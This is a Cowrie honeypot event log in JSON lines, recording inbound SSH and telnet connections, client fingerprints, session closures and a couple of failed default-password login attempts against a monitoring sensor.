{"eventid":"cowrie.session.closed","duration":34.89008927345276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:47.444022Z","src_ip":"209.159.146.115","session":"56346ff1199c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:47.663191Z","src_ip":"80.94.92.182","session":"c4c6d9d7f628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:47.666657Z","src_ip":"80.94.92.182","session":"c4c6d9d7f628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.30118274688721,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:47.899308Z","src_ip":"209.159.146.115","session":"7f75841437e4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:48.846185Z","src_ip":"80.94.92.182","session":"c4c6d9d7f628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59348,"dst_ip":"159.203.135.109","dst_port":22,"session":"728094ee5325","protocol":"ssh","message":"New connection: 159.203.92.129:59348 (159.203.135.109:22) [session: 728094ee5325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:49.094306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:49.100287Z","src_ip":"159.203.92.129","session":"728094ee5325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:49.104862Z","src_ip":"159.203.92.129","session":"728094ee5325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"android_app","password":"123456","message":"login attempt [android_app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:49.115531Z","src_ip":"159.203.92.129","session":"728094ee5325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43682,"dst_ip":"159.203.135.109","dst_port":23,"session":"f824773d8af6","protocol":"telnet","message":"New connection: 209.159.146.115:43682 (159.203.135.109:23) [session: f824773d8af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:49.119935Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45570,"dst_ip":"159.203.135.109","dst_port":23,"session":"bee2b7a56392","protocol":"telnet","message":"New connection: 209.159.146.115:45570 (159.203.135.109:23) [session: bee2b7a56392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:49.742863Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46086,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cca1395c3f4","protocol":"telnet","message":"New connection: 209.159.146.115:46086 (159.203.135.109:23) [session: 4cca1395c3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:49.891294Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:50.120904Z","src_ip":"159.203.92.129","session":"728094ee5325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:50.215915Z","src_ip":"80.94.92.182","session":"c4c6d9d7f628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.4095516204834,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:51.399193Z","src_ip":"209.159.146.115","session":"4f33d6cc97a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.50486445426941,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:51.591838Z","src_ip":"209.159.146.115","session":"a5653c63a378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"41202efe23c4","protocol":"telnet","message":"New connection: 209.159.146.115:53502 (159.203.135.109:23) [session: 41202efe23c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:52.454211Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56166,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b37bc3f4504","protocol":"telnet","message":"New connection: 209.159.146.115:56166 (159.203.135.109:23) [session: 6b37bc3f4504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:53.190620Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57306,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b20e47f0d52","protocol":"telnet","message":"New connection: 209.159.146.115:57306 (159.203.135.109:23) [session: 3b20e47f0d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:53.420553Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57288,"dst_ip":"159.203.135.109","dst_port":23,"session":"3933e07d7fb2","protocol":"telnet","message":"New connection: 209.159.146.115:57288 (159.203.135.109:23) [session: 3933e07d7fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:53.423927Z"}
{"eventid":"cowrie.session.closed","duration":35.3448371887207,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:53.585059Z","src_ip":"209.159.146.115","session":"20e06064d548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60862,"dst_ip":"159.203.135.109","dst_port":23,"session":"f79d9103aec3","protocol":"telnet","message":"New connection: 209.159.146.115:60862 (159.203.135.109:23) [session: f79d9103aec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:54.192029Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34780,"dst_ip":"159.203.135.109","dst_port":23,"session":"673715ce49d1","protocol":"telnet","message":"New connection: 209.159.146.115:34780 (159.203.135.109:23) [session: 673715ce49d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:54.864905Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36060,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f2608fc004","protocol":"telnet","message":"New connection: 209.159.146.115:36060 (159.203.135.109:23) [session: 51f2608fc004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:55.221899Z"}
{"eventid":"cowrie.session.closed","duration":33.16402983665466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:55.436017Z","src_ip":"209.159.146.115","session":"63ef81fe82f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37680,"dst_ip":"159.203.135.109","dst_port":23,"session":"de52211dba49","protocol":"telnet","message":"New connection: 209.159.146.115:37680 (159.203.135.109:23) [session: de52211dba49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:55.730266Z"}
{"eventid":"cowrie.session.closed","duration":0.006627321243286133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:55.736767Z","src_ip":"209.159.146.115","session":"de52211dba49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"c99c15dff516","protocol":"telnet","message":"New connection: 209.159.146.115:39512 (159.203.135.109:23) [session: c99c15dff516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:56.212917Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42422,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0fa333dd94","protocol":"telnet","message":"New connection: 209.159.146.115:42422 (159.203.135.109:23) [session: ac0fa333dd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:56.930751Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42444,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cadcceeed1","protocol":"telnet","message":"New connection: 209.159.146.115:42444 (159.203.135.109:23) [session: 93cadcceeed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:56.935194Z"}
{"eventid":"cowrie.session.closed","duration":41.717551708221436,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:57.462313Z","src_ip":"209.159.146.115","session":"05913bd9d50b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45636,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c2e75075c4","protocol":"telnet","message":"New connection: 209.159.146.115:45636 (159.203.135.109:23) [session: 17c2e75075c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:57.870003Z"}
{"eventid":"cowrie.session.closed","duration":33.96041131019592,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:58.269727Z","src_ip":"209.159.146.115","session":"787ef28aceae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47110,"dst_ip":"159.203.135.109","dst_port":23,"session":"64343d6195cf","protocol":"telnet","message":"New connection: 209.159.146.115:47110 (159.203.135.109:23) [session: 64343d6195cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:58.344101Z"}
{"eventid":"cowrie.session.closed","duration":34.10747146606445,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:58.392016Z","src_ip":"209.159.146.115","session":"839a8bf5acdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.797595500946045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:58.428852Z","src_ip":"209.159.146.115","session":"b783cbf2760f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.93650507926941,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:58.670279Z","src_ip":"209.159.146.115","session":"1d17402aa02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84202194213867,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:58.696937Z","src_ip":"209.159.146.115","session":"b4e1d0c71f5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57862,"dst_ip":"159.203.135.109","dst_port":23,"session":"283e1671a2d8","protocol":"telnet","message":"New connection: 209.159.146.115:57862 (159.203.135.109:23) [session: 283e1671a2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:59.086972Z"}
{"eventid":"cowrie.session.closed","duration":39.82421112060547,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:59.985797Z","src_ip":"209.159.146.115","session":"a7baf5efcdf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36764,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c2f89d2e776","protocol":"telnet","message":"New connection: 209.159.146.115:36764 (159.203.135.109:23) [session: 7c2f89d2e776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:00.024757Z"}
{"eventid":"cowrie.session.closed","duration":31.83876395225525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:00.652248Z","src_ip":"209.159.146.115","session":"dc6f43771dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38584,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6781bb098b6","protocol":"telnet","message":"New connection: 209.159.146.115:38584 (159.203.135.109:23) [session: f6781bb098b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:00.885099Z"}
{"eventid":"cowrie.session.closed","duration":39.38555717468262,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:01.009367Z","src_ip":"185.26.126.47","session":"f67b5694e9f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59800696372986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:01.910872Z","src_ip":"209.159.146.115","session":"8f317ed4ed9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00121712684631,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:02.376919Z","src_ip":"45.6.79.189","session":"5fbe29c7f677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.749934911727905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:02.717426Z","src_ip":"209.159.146.115","session":"ce17eddac68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":38212,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e0693ead3a2","protocol":"telnet","message":"New connection: 45.6.79.189:38212 (159.203.135.109:23) [session: 2e0693ead3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:02.769547Z"}
{"eventid":"cowrie.session.closed","duration":32.36768078804016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:03.186642Z","src_ip":"209.159.146.115","session":"06397d44acd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.575186252593994,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:03.908285Z","src_ip":"209.159.146.115","session":"3d2342c109fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.15385913848877,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:04.108003Z","src_ip":"209.159.146.115","session":"e2535e671c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45077395439148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:04.731330Z","src_ip":"209.159.146.115","session":"76274a6b2308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34640,"dst_ip":"159.203.135.109","dst_port":23,"session":"086d02e393e5","protocol":"telnet","message":"New connection: 209.159.146.115:34640 (159.203.135.109:23) [session: 086d02e393e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:04.810229Z"}
{"eventid":"cowrie.session.closed","duration":120.00156235694885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:04.954017Z","src_ip":"45.6.79.189","session":"bd5dc2192531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":38242,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ad11e64c0c9","protocol":"telnet","message":"New connection: 45.6.79.189:38242 (159.203.135.109:23) [session: 3ad11e64c0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:05.254396Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38970,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed74fd294bf9","protocol":"telnet","message":"New connection: 209.159.146.115:38970 (159.203.135.109:23) [session: ed74fd294bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:06.148969Z"}
{"eventid":"cowrie.session.closed","duration":30.16488265991211,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:07.066205Z","src_ip":"209.159.146.115","session":"a3c5fdfe89e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54062,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f71ccbc88a8","protocol":"telnet","message":"New connection: 209.159.146.115:54062 (159.203.135.109:23) [session: 5f71ccbc88a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:08.501384Z"}
{"eventid":"cowrie.session.closed","duration":34.032936334609985,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:08.569688Z","src_ip":"209.159.146.115","session":"69502dc6e051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60168,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1e217ca2c6","protocol":"telnet","message":"New connection: 209.159.146.115:60168 (159.203.135.109:23) [session: 9a1e217ca2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:09.128897Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33956,"dst_ip":"159.203.135.109","dst_port":23,"session":"10febbc20da7","protocol":"telnet","message":"New connection: 209.159.146.115:33956 (159.203.135.109:23) [session: 10febbc20da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:09.866209Z"}
{"eventid":"cowrie.session.closed","duration":30.740732431411743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:11.335655Z","src_ip":"209.159.146.115","session":"457d91e78db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555792570114136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:14.021920Z","src_ip":"209.159.146.115","session":"e8e381b4053c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.38157367706299,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:14.046977Z","src_ip":"209.159.146.115","session":"9f2c465972b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98685932159424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:14.119827Z","src_ip":"209.159.146.115","session":"13a28be57b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76407170295715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:14.560969Z","src_ip":"209.159.146.115","session":"3e421b75f9a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54194,"dst_ip":"159.203.135.109","dst_port":23,"session":"217b8312b91a","protocol":"telnet","message":"New connection: 209.159.146.115:54194 (159.203.135.109:23) [session: 217b8312b91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:15.869201Z"}
{"eventid":"cowrie.session.closed","duration":32.78544497489929,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:16.449034Z","src_ip":"209.159.146.115","session":"8f4630d00c84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.828754901885986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:16.951208Z","src_ip":"209.159.146.115","session":"f24372a7ff9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.51448440551758,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:17.596601Z","src_ip":"209.159.146.115","session":"47e9a20f9d8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.625489473342896,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:17.641652Z","src_ip":"209.159.146.115","session":"8e886717be6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.519880294799805,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:18.842904Z","src_ip":"209.159.146.115","session":"993ee52ae01c","protocol":"telnet"}
